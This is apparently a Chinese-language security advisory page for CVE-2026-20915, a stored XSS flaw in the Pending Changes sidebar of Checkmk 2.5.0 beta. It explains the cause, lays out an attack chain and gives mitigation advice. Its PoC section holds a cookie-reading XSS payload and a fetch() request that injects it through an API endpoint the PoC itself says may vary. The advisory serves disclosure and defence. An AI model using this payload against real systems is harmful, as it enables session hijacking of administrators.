IPBUF安全漏洞报告
English
CVE-2026-20915 CVSS 5.4 中危

CVE-2026-20915 Checkmk 存储型XSS漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-20915
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Checkmk

相关标签

XSSCheckmk存储型跨站脚本Web安全CVE-2026-20915

漏洞概述

Checkmk 2.5.0 Beta版本(2.5.0b2之前)存在存储型XSS漏洞。拥有创建待定更改权限的认证用户能够向Pending Changes侧边栏注入恶意JavaScript代码。一旦其他用户访问该侧边栏,恶意脚本将在其浏览器中自动执行,可能造成窃取凭据或会话劫持等风险。

技术细节

漏洞成因在于Checkmk系统在处理“Pending Changes”侧边栏数据时,未对用户输入内容实施有效的上下文感知输出编码。具有“创建待定更改”权限的经过身份验证的攻击者,能够通过构造特定的数据包,将恶意JavaScript代码注入到待定更改的描述或元数据中。由于系统直接将这些未经过滤的动态内容返回给客户端,当其他具有查看权限的用户(通常是高权限管理员)加载侧边栏时,浏览器会解析并执行该恶意脚本。攻击者可利用此漏洞在受害者浏览器中执行任意代码,进而窃取Cookie、劫持会话或进行内部网络钓鱼。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取一个具有“创建待定更改”权限的低权限账户。
STEP 2
2. 注入Payload
攻击者利用该权限,在创建新的Pending Change时,将恶意JavaScript代码嵌入到描述字段中。
STEP 3
3. 存储 Payload
服务器接收到请求并将包含恶意代码的数据存储在数据库中,且未进行适当的清洗或编码。
STEP 4
4. 触发执行
当管理员或其他高权限用户登录系统并查看“Pending Changes”侧边栏时,恶意代码被渲染并在其浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-20915 Stored XSS in Checkmk // Attacker injects payload into the Pending Changes description field // Malicious payload to be injected var xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Simulate sending a request to create a pending change // Note: Actual API endpoint may vary var postData = { 'change_description': xssPayload, // Vulnerable field 'site': 'sitename', 'time_range': 'future' }; // Use fetch API to send the request fetch('/check_mk/api/1.0/domain-types/pending_change/actions/create/invoke', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify(postData) }).then(response => console.log('Payload injected successfully'));

影响范围

Checkmk 2.5.0 (beta) < 2.5.0b2

防御指南

临时缓解措施
建议立即升级Checkmk至修复版本2.5.0b2。若暂时无法升级,应严格限制非管理员用户创建待定更改的权限,并谨慎对待来源不明的更改记录,直到补丁部署完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表